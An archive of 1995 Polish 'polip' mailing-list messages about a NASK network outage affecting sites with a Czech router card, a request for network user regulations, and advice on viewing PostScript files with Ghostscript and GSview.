Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA10445 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 12:01:32 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 6 Jan 1995 10:51:28 GMT
From: udalski@sirius.astrouw.edu.pl (Andrzej Udalski)
Message-Id: <3ej7bg$13h@bilbo.nask.org.pl>
Organization: Warsaw University Astronomical Observatory
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eh3pe$glq@galaxy.uci.agh.edu.pl>, <3ehbnb$2v1@bilbo.nask.org.pl>, <3ehric$db@ghost.mimuw.edu.pl>
Subject: Re: ippt.gov.pl poza siecia?

Zeby wyjasnic i skonczyc te dyskusje pare slow z punktu widzenia Obserwatorium,
gdzie rowniez od ponad 1.5 roku uzywalismy "czeskiej" karty i zostalismy 
w koncu grudnia na lodzie podobnie jak IPPT:

1. Przyczyna niedzialania polaczenia jest istotnie beznadziejny software
do tejze czeskiej karty. Karta ta ma na sobie procesor Z80 jako sterownik i
ladowany do niej program sluzy miedzy innymi do nawiazania linku PPP z druga 
strona. Jest to jednak napisane wyjatkowo prymitywnie i niezgodnie ze standardami,
tymniemniej, jak pokazuje doswiadczenie, z poprzednim software na CISCO dzialalo
bez zarzutu.

2. Oczywiscie nikt nie ma i miec nie moze do NASKu pretensji, ze upgrade'uja i
ulepszaja serwis. Co natomiast denerwuje to monopolistyczne praktyki typu
zmienilismy, nie dziala wam -- trudno nic sie nie da zrobic. Rozumiem, ze nikt
nie mogl przewidziec, ze nie wszystkie polaczenia beda z nowym softwarem dzialac
(choc pewnie mozna to bylo jakos przetestowac), ale skoro sie tak okazalo 
to wydaje mi sie, ze jedynym rozsadnym rozwiazaniem byl powrot do starej 
konfiguracji i ogloszenie, ze powiedzmy za 1-2 miesiace takie czy inne 
rozwiazania NIE beda supportowane. Uzytkownicy mieliby jakis czas na 
dostosowanie sie do wymagan NASKU i nie byloby sprawy. A tak z dnia na dzien
pozbawieni zostalismy lacznosci -- co to oznacza nie musze mowic. Przyklad z
Telekomunikacja jest o tyle chybiony, bo w koncu mimo, ze to dopiero jest
monopolista, to jednak nie kaze z dnia na dzien przejsc bez zapowiedzi z pulse
dialing na tone dialing. Nawet TVP nie przeszla z dnia na dzien z SECAMu na PAL.

3. Co do tego czy kogos stac czy nie na normalny router -- to oczywiscie jest to
sprawa wzgledna. Czeska plytka kosztowala $350, najprostszy router jednak $3000
-- oba rozwiazania jak dotad dzialaly mniej wiecej tak samo jesli chodzi  o
throughupt wiec oczywiscie "wybor nalezy do Ciebie". A wybor mial miejsce dosc
dawno temu gdy te $3000 to bylo raczej "jakis czynnik > 1" * $3000 i gdy inne
tak prezne teraz osrodki podlaczone byly pewnie na 9600bps lub wolniej, jesli w
ogole.

Tak czy owak zamowilismy sobie  wlasnie "normalny router", a kolegom z NASK
podziekowanie za pomoc w uruchomieniu "polaczenia zastepczego".

AU
 
****************************************************************************
Andrzej  Udalski                    Internet: udalski@sirius.astrouw.edu.pl
Warsaw University Observatory       Bitnet:   udalski@plwauw61.bitnet
Al. Ujazdowskie 4                   Voice:    48-22-294011 ext 10
00-478 Warszawa, POLAND             FAX:      48-22-294967
****************************************************************************
From andyar33@puma.wz.uw.edu.pl Fri Jan  6 13:18:36 1995
Received: from puma.wz.uw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04087; Fri, 6 Jan 95 13:16:17 +0100
Return-Path: <andyar33@puma.wz.uw.edu.pl>
Received: (from andyar33@localhost) by puma.wz.uw.edu.pl (8.6.9/8.6.9) id NAA00770 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 13:17:25 +0100
From: Andrzej Jarzewski <andyar33@puma.wz.uw.edu.pl>
Message-Id: <199501061217.NAA00770@puma.wz.uw.edu.pl>
Subject: szukam kontaktu i informacji
To: polip@zsku.p.lodz.pl (polip)
Date: Fri, 6 Jan 1995 13:17:24 +0100 (MET)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 755       

Szanowni Panstwo,
moze moj list nie za bardzo dotyczy tematyki listy, ale w moim mniemaniu
jest to najlepsze grono do uzyskania informacji, ktorych potrzebuje.
Otoz, kiedys na ktorejs z list dyskuyjnych pojawil sie fragment regulaminu
dla uzytkownikow z oklic Gdyni, czy Gdanska. Chcial bym nawiazac kontakt z
jego autorem. Jestem jednym ze wspolorganizatorow wezla sieci Internet na
Wydziale Zarzadzania Uniwersystetu Warszawskiego. W polskiej sieci jestesmy
dopiero od pazdziernika 1994, ale juz mamy klopoty z uzytkownikami.
Konstrujac swoj wlasny regulamin chcemy sie oprzec na dobrych wzorach.
Prosba dotyczy rowniez wszystkich, ktorzy maja dostep do takich materialow.
Prosze o listy na moj prywatny adres:
andyar33@plearn.edu.pl

Andrzej Jarzewski
From GREG@chicken.iie.wsi.zgora.pl Fri Jan  6 13:30:09 1995
Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04786; Fri, 6 Jan 95 13:28:28 +0100
Return-Path: <GREG@chicken.iie.wsi.zgora.pl>
Received: from chicken.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03)
          id AA17214; Fri, 6 Jan 1995 13:25:14 +0100
Received: from CHICKEN/SpoolDir by chicken.iie.wsi.zgora.pl (Mercury 1.13);
    Fri, 6 Jan 95 13:27:32 +0100
Received: from SpoolDir by CHICKEN (Mercury 1.13); Fri, 6 Jan 95 13:27:18 +0100
From: "Grzegorz Mielcarek" <GREG@chicken.iie.wsi.zgora.pl>
Organization:  Instytut Informatyki i Elektroniki
To: polip@zsku.p.lodz.pl
Date:          Fri, 6 Jan 1995 13:27:14 +0100
Subject:       Re: szukam kontaktu i informacji
Priority: normal
X-Mailer: Pegasus Mail v3.22
Message-Id: <135A474D2E@chicken.iie.wsi.zgora.pl>

> Szanowni Panstwo,
> moze moj list nie za bardzo dotyczy tematyki listy, ale w moim mniemaniu
> jest to najlepsze grono do uzyskania informacji, ktorych potrzebuje.
> Otoz, kiedys na ktorejs z list dyskuyjnych pojawil sie fragment regulaminu
> dla uzytkownikow z oklic Gdyni, czy Gdanska. Chcial bym nawiazac kontakt z
> jego autorem. Jestem jednym ze wspolorganizatorow wezla sieci Internet na
> Wydziale Zarzadzania Uniwersystetu Warszawskiego. W polskiej sieci jestesmy
> dopiero od pazdziernika 1994, ale juz mamy klopoty z uzytkownikami.
> Konstrujac swoj wlasny regulamin chcemy sie oprzec na dobrych wzorach.
> Prosba dotyczy rowniez wszystkich, ktorzy maja dostep do takich materialow.
> Prosze o listy na moj prywatny adres:
> andyar33@plearn.edu.pl
> 
> Andrzej Jarzewski
> 

Mnie takze ciekawi temat regulaminu dla sieci lokalnej, oczywiscie
z wyjsciem na swiat. Moze ktos juz cos takiego opracowal, lub nad
czyms takim pracuje. Chetnie bym sie dolaczyl.

-Grzesiek


----------------------------------------------------------------------------
Grzegorz Mielcarek                   |  gmielcar@chicken.iie.wsi.zgora.pl
Wyzsza Szkola Inzynierska            |  g.mielcarek@wsi.zgora.pl
Instytut Informatyki i Elektroniki   |  
ul. Podgorna 50                      |  tel: 068/254611, 254831 w. 231
65-265 Zielona Gora                  |  fax: 068/253944  
---------------------------------------------------------------------------
          "If you wanna be so sexy, you must drink a lot of Pepsi"
---------------------------------------------------------------------------- 

From ELEKP@elektron.pol.lublin.pl Fri Jan  6 14:03:36 1995
Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05741; Fri, 6 Jan 95 14:01:50 +0100
Return-Path: <ELEKP@elektron.pol.lublin.pl>
Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP
	(1.38.193.4/16.2) id AA16997; Fri, 6 Jan 1995 13:59:46 +0100
Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13);
    Fri, 6 Jan 95 13:56:43 +0100
Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Fri, 6 Jan 95 13:56:29 +0100
From: "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
To: polip@zsku.p.lodz.pl
Date:          Fri, 6 Jan 1995 13:56:29 +0100
Subject:       postscript w Mosaic ?
X-Pmrqc:       1
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1a)
Message-Id: <42DE9B5EE3@elektron.pol.lublin.pl>

Witam w Nowym Roku !

Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, 
ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez 
problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci 
zrobienia czegokolwiek z tym plikiem.
Pytania :
1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych?
2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki 
  z postscriptem ?
3.czy mozna wczytac plik postscriptowy do jakiegos edytora
  tekstu w windowsach ?  
Mosaica uzywam w Windows 3.1 EE na PC 486 DX  .

Pozdrowienia dla wszystkich polipowiczow !

Elek.



------------------------------------------------------------------- 
 Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
 POLITECHNIKA LUBELSKA                         
 Wydzial Elektryczny                          
 Katedra Metrologii Elektrycznej i Elektronicznej         
 ul.Nadbystrzycka 38 A                         
 20-618 LUBLIN                  tel.(48) (81) 55-10-51 wew.259,265            
------------------------------------------------------------------- 
From krzysio@hebe.umcs.lublin.pl Fri Jan  6 15:08:36 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07194; Fri, 6 Jan 95 15:05:50 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA02574; Fri, 6 Jan 95 15:03:30 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501061403.AA02574@hebe.umcs.lublin.pl>
Subject: Re: postscript w Mosaic ?
To: polip@zsku.p.lodz.pl
Date: Fri, 6 Jan 1995 15:03:30 +0100 (MET)
In-Reply-To: <42DE9B5EE3@elektron.pol.lublin.pl> from "Eligiusz Pawlowski, LUBLIN." at Jan 6, 95 02:07:46 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2215      

Eligiusz Pawlowski, LUBLIN. wrote:
> 
> Witam w Nowym Roku !
> 
> Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, 
> ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez 
> problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci 
> zrobienia czegokolwiek z tym plikiem.
> Pytania :
> 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych?
> 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki 
>   z postscriptem ?
> 3.czy mozna wczytac plik postscriptowy do jakiegos edytora
>   tekstu w windowsach ?  
> Mosaica uzywam w Windows 3.1 EE na PC 486 DX  .
> 
> Pozdrowienia dla wszystkich polipowiczow !
> 
Jest program o nazwie GhostScript, ktory umozliwia konwersje plikow
postscriptowych do roznych formatow (w tym HPGL - dla drukarek zgodnych
z HP LaserJet) oraz drukowanie tych plikow nawet na drukarkach iglowych!

A oto potrzebne pliki:

gs261386.zip
gs261ini.zip
gs261win.zip
gsview10.zip

Wraz z programem GhostScript otrzymujesz tez GhostView - umozliwiajacy
przegladanie plikow postscriptowych bezposrednio na ekranie.

Oba pakiety sa Public Domain.

Aby je sciagnac uzyj anonymous fto na hebe.umcs.lublin.pl

katalog: /pub/ibmpc/gs+gv

				Zyczac powodzenia,
					-Krzysio

--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 15:28:36 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08032; Fri, 6 Jan 95 15:26:47 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14481 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:08:45 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 6 Jan 1995 14:02:41 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3ejii1$h5v@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <42DE9B5EE3@elektron.pol.lublin.pl>
Subject: Re: postscript w Mosaic ?

Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) zadal
> Pytania :
> 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych?
> 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki 
>   z postscriptem ?
  --
  proponuje ghostview i ghostscript (sa wersje windowsowe)
  --
> 3.czy mozna wczytac plik postscriptowy do jakiegos edytora
>   tekstu w windowsach ?  
  --
  nie sadze
  --
> Mosaica uzywam w Windows 3.1 EE na PC 486 DX  .

> Pozdrowienia dla wszystkich polipowiczow !
  Pozdrowienia
  Wojtek
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 15:28:39 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08035; Fri, 6 Jan 95 15:26:49 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14755 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:20:35 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 6 Jan 1995 14:04:36 GMT
From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski)
Message-Id: <3ejilk$sg8@galaxy.uci.agh.edu.pl>
Organization: Instytut Podstawowych Problemow Techiniki Warszawa
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3ehbnb$2v1@bilbo.nask.org.pl>, <3ehric$db@ghost.mimuw.edu.pl>, <3ej7bg$13h@bilbo.nask.org.pl>
Reply-To: ppogorze@ippt.gov.pl
Subject: Re: ippt.gov.pl poza siecia?

Jescze dwa slowa.

Nie idzie o to zeby nie zmieniac starego oprogramowania na nowe, ale 
o sposob zachowania w sytuacji kiedy narobilo sie komus klopotow.
Rozumiem, ze wszystko sie moze zdarzyc ale, gdy odcina sie kogos
bez uprzedzenia i pozostawia samemu sobie (najlepiej jescze przed swietami) nie
jest chyba najlepsze. Powrot na jakis czas do poprzedniego oprogramowania
to chyba zbyt wielkie wymaganie, ale wypozyczenie modemow (dzialamy na wlasnych)  
w celu jak najszybszego nawiazania lacznosci jest chyba mozliwe, tym bardzej,
ze w ippt jest primary name server domeny gov.pl i w tym momencie klopot z lacznoscia
nie dotyczy juz samego ippt. 

Router kiedys bedzie kupiony, prawdopodobnie jak tylko ruszy WARMAN (swiatlowod juz
wystaje ze sciany). Rozumiem, ze wymiane oprogramowania trzeba bylo koniecznie
wykonac jeszcze w starym roku. Jak ruszy WARMAN pewnie tez cos sie bedzie zmieniac.

I na koniec, nie rozumiem dlaczego mamy dac spokoj tej dyskusji?

piotr pogorzelski
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 15:48:37 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09345; Fri, 6 Jan 95 15:46:47 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14910 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:27:33 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 6 Jan 1995 15:18:25 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3ejjfh$8ts@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <42DE9B5EE3@elektron.pol.lublin.pl>
Subject: Re: postscript w Mosaic ?

Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote:
: Witam w Nowym Roku !

: Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, 
: ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez 
: problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci 
: zrobienia czegokolwiek z tym plikiem.
: Pytania :
: 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych?
ghostview.

: 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki 
:   z postscriptem ?
ghostview.

: 3.czy mozna wczytac plik postscriptowy do jakiegos edytora
:   tekstu w windowsach ?  
O ile mi wiadomo, nie.

: Mosaica uzywam w Windows 3.1 EE na PC 486 DX  .
Uzywaj Netscape for Windows:
ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-094.exe
(wymaga Winsock albo innego transportu TCP/IP, tak samo jak NCSA Mosaic,
ale jest znacznie stabilniejszy, szybszy, wygodniejszy).

--
                        Szymon Sokol -- Network Manager
U     U M     M M     M University of Mining and Metallurgy, Computer Center
U     U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U     U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUUU  M  M  M M  M  M finger szymon@galaxy.uci.agh.edu.pl for PGP key
                        WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 15:48:40 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09348; Fri, 6 Jan 95 15:46:50 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14909 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:27:32 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 6 Jan 1995 15:13:19 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3ejj5v$864@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eg9b5$97q@bilbo.nask.org.pl>, <3eh3pe$glq@galaxy.uci.agh.edu.pl>, <3ehbnb$2v1@bilbo.nask.org.pl>
Subject: Re: ippt.gov.pl poza siecia?

Lukasz Ploszajski (lukasz@nask.org.pl) wrote:
: piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:

: Chwila moment, dziala ka9q z polaczeniem asynchronicznym z protokolem SLIP.
: Zrobilem blad (mea culpa) - to nie wina ka9q, a packet-drivera do czeskiej
: karty, co i tak nie zmienia konsekwencji.

: A swoja droga, to jak swiat swiatem to abonenci dostosowuja sie do standardu
: operatora, a nie na odwrot.  Chyba nikt nie ma pretensji do TP S.A. za to, 
: ze wymienia centrale na nowsze, bo stare juz nie zdaja egzaminu i nie pisze
: petycji z tego powodu, ze przedwojenne telefony zle wybieraja numery.
: A poza tym nikt z nas przeciez nie wiedzial, ze taki problem powstanie. 
: To packet-driver do karty nie jest zgodny ze standardem, a nie software
: w Cisco.

A czy przypadkiem ta czeska karta nie byla polecana przez NASK? A czy ten
nowy (szwedzki chyba) produkt robiacy routing na PC (ktory NASK poleca obecnie)
byl testowany na zgodnosc ze standardem tudziez z najnowsza wersja software
CISCO? Nie zebym sie czepial - ale TPSA nawet jak wymienia centrale, nie zada
od klientow wymiany aparatow na nowe...

--
                        Szymon Sokol -- Network Manager
U     U M     M M     M University of Mining and Metallurgy, Computer Center
U     U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U     U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUUU  M  M  M M  M  M finger szymon@galaxy.uci.agh.edu.pl for PGP key
                        WWW page: http://www.uci.agh.edu.pl/~szymon/
From lukasz@frodo.nask.org.pl Fri Jan  6 15:58:38 1995
Received: from frodo.nask.org.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09789; Fri, 6 Jan 95 15:54:28 +0100
Return-Path: <lukasz@frodo.nask.org.pl>
Received: from merry.nask.org.pl.nask.org.pl by frodo.nask.org.pl (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0)
	id AA06059; Fri, 6 Jan 95 15:51:36 MET
Organization: 	Research and Academic Computer Network              
Address: 	Krakowskie Przedmiescie 26/28, 00-927 Warsaw, Poland.
Date: Fri, 6 Jan 95 15:51:36 MET
Message-Id: <9501061451.AA06059@frodo.nask.org.pl>
Received: by merry.nask.org.pl.nask.org.pl (4.1/SMI-4.1)
	id AA05806; Fri, 6 Jan 95 15:55:39 +0100
To: polip@zsku.p.lodz.pl, CEEnet-Info@noc.aco.net, ACOnet-Info@noc.aco.net,
        staff@nordu.net
From: Ireneusz Neska <irek@frodo.nask.org.pl>

Reply to: net-admin@nask.org.pl
Cc: net-admin@nask.org.pl

Subject: Ticket: NASK.950106.1540 OPEN (NASK Router - new hardware)


-----------------------------------------------------------------------------
Ticket Number: NASK.950106.1540         Ticket Status: OPEN
Ticket Type: SCHEDULED                  Ticket Source: NASK
Ticket Scope: Router                    Site/Line: NASK Center in Warsaw
Ticket Owner: Irek Neska                Problem Fixer: NASK NOC Staff
Ticket Opened: 950106.1540 MET          Problem Started: 950107.1030 MET
       Update:                          Scheduled End: 950107.1130 MET
       Closed:                          Ended: 
-----------------------------------------------------------------------------

Problem Description:
        Old AGS+ router peering with Stockholm, Vienna and Moscow will be 
        replaced by Cisco 7000 with SSP.

Affected:
	Traffic to Poland, Moscow and Minsk.

Actions:
        Pull out old router, install new 7000, test the configuration and
        the connections.

Time to fix:
	Up to one hour.

Irek

---
Ireneusz Neska                           |  E-mail: irek@nask.org.pl
Research and Academic Network in Poland  |  Tel/Fax: (+48 22) 268000 
Bartycka 18                              |  Tel: (+48 22) 200381 x. 843, 852
00-716 Warsaw, Poland                    |  NIC-Handle: IN3 

From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 16:28:37 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11679; Fri, 6 Jan 95 16:26:46 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA15906 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 16:17:40 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 6 Jan 1995 15:53:41 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3ejlhl$e9s@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501061403.AA02574@hebe.umcs.lublin.pl>
Subject: Re: postscript w Mosaic ?

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
: Jest program o nazwie GhostScript, ktory umozliwia konwersje plikow
: postscriptowych do roznych formatow (w tym HPGL - dla drukarek zgodnych
: z HP LaserJet) oraz drukowanie tych plikow nawet na drukarkach iglowych!

: A oto potrzebne pliki:

: gs261386.zip
: gs261ini.zip
: gs261win.zip
: gsview10.zip

: Wraz z programem GhostScript otrzymujesz tez GhostView - umozliwiajacy
: przegladanie plikow postscriptowych bezposrednio na ekranie.

: Oba pakiety sa Public Domain.

: Aby je sciagnac uzyj anonymous fto na hebe.umcs.lublin.pl

Aktualne wersje mozna tez znalezc na:
ftp://ftp.cyf-kr.edu.pl/pub/mirror/msdos/postscrp/

--
                        Szymon Sokol -- Network Manager
U     U M     M M     M University of Mining and Metallurgy, Computer Center
U     U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U     U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUUU  M  M  M M  M  M finger szymon@galaxy.uci.agh.edu.pl for PGP key
                        WWW page: http://www.uci.agh.edu.pl/~szymon/
From pastupam@uoo.univ.szczecin.pl Fri Jan  6 16:33:38 1995
Received: from uoo.univ.szczecin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11782; Fri, 6 Jan 95 16:29:19 +0100
Return-Path: <pastupam@uoo.univ.szczecin.pl>
Message-Id: <9501061529.AA11782@zsku.p.lodz.pl>
Received: by uoo.univ.szczecin.pl
	(1.37.109.4/16.2) id AA07574; Fri, 6 Jan 95 16:27:04 +0100
From: Jerzy Pastusiak <pastupam@uoo.univ.szczecin.pl>
Subject: Re: postscript w Mosaic ?
To: polip@zsku.p.lodz.pl
Date: Fri, 6 Jan 95 16:27:02 MET
In-Reply-To: <42DE9B5EE3@elektron.pol.lublin.pl>; from "Eligiusz Pawlowski, LUBLIN." at Jan 6, 95 2:07 pm
Mailer: Elm [revision: 70.85]

> Pytania :
> 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych?
> 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki 
>   z postscriptem ?
> 3.czy mozna wczytac plik postscriptowy do jakiegos edytora
>   tekstu w windowsach ?  
> Mosaica uzywam w Windows 3.1 EE na PC 486 DX  .
> 
> Pozdrowienia dla wszystkich polipowiczow !
> 
> Elek.
>

Male pliki mozna przegladac w CorelDRAW, { *.EPS }.
Pozdrawiam, zyczac tez Wszystkim Szczesliwego Nowego Roku.
J.P

From wowoc@acs.ucalgary.ca Fri Jan  6 17:43:38 1995
Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13678; Fri, 6 Jan 95 17:38:42 +0100
Return-Path: <wowoc@acs.ucalgary.ca>
Received: by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03)
          id AA32164; Fri, 6 Jan 1995 09:37:46 -0700
Date: Fri, 6 Jan 1995 09:37:46 -0700
From: wowoc@acs.ucalgary.ca (Witold Owoc)
Message-Id: <9501061637.AA32164@acs7.acs.ucalgary.ca>
To: polip@zsku.p.lodz.pl
Subject: Re: postscript w Mosaic ?

> czy mozna wczytac plik postscriptowy do jakiegos edytora tekstu
W dystrybucjach Ghostscript-u znajduje sie plik ps2ascii. Umozliwia on
ekstrakcje samego tekstu (co mozna zapisac do jakiegos pliku).


Uzupelnienia.

 GNU Ghostscript 2.6.1 (+ patches 1-4) jest dostepny pod GNU Public Licence.

 Aladdin Ghostscript 3.12 (z PostScript level 2 + lepsze czcionki) jest
Copyright (C) 1994 Aladdin Enterprises, Menlo Park, CA.  All rights reserved.
 Mozna uzywac za darmo, ale licencja jest zupelnie inna - stawia inne
 ograniczenia.

 GSview to program do przegladania plikow PostScript pod
 OS/2 i MS-Windows (np. IBM WebExplorer, NCSA Mosaic, Netscape Navigator).
 Wazne:
  GSview 1.0 dziala z Ghostscript 2.6.1
  GSview 1.1 dziala z Ghostscript 3.12

 Ghostview to zas program do przegladania plikow PostScript pod
 Unix-em (uzywajac X11) i VMS (chyba tez pod X11).


Witold Owoc <wowoc@acs.ucalgary.ca>

#disclaimer "my.private.views"
---------------------------------------------------------
The University of Calgary had no knowledge of nor in any
way gave its consent to the transmission of this message.
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 18:28:41 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14956; Fri, 6 Jan 95 18:26:43 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA18258 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 18:21:26 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 6 Jan 1995 17:00:53 GMT
From: wojsyl@palma.icm.edu.pl (Wojtek Sylwestrzak)
Message-Id: <3ejt05$g8u@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
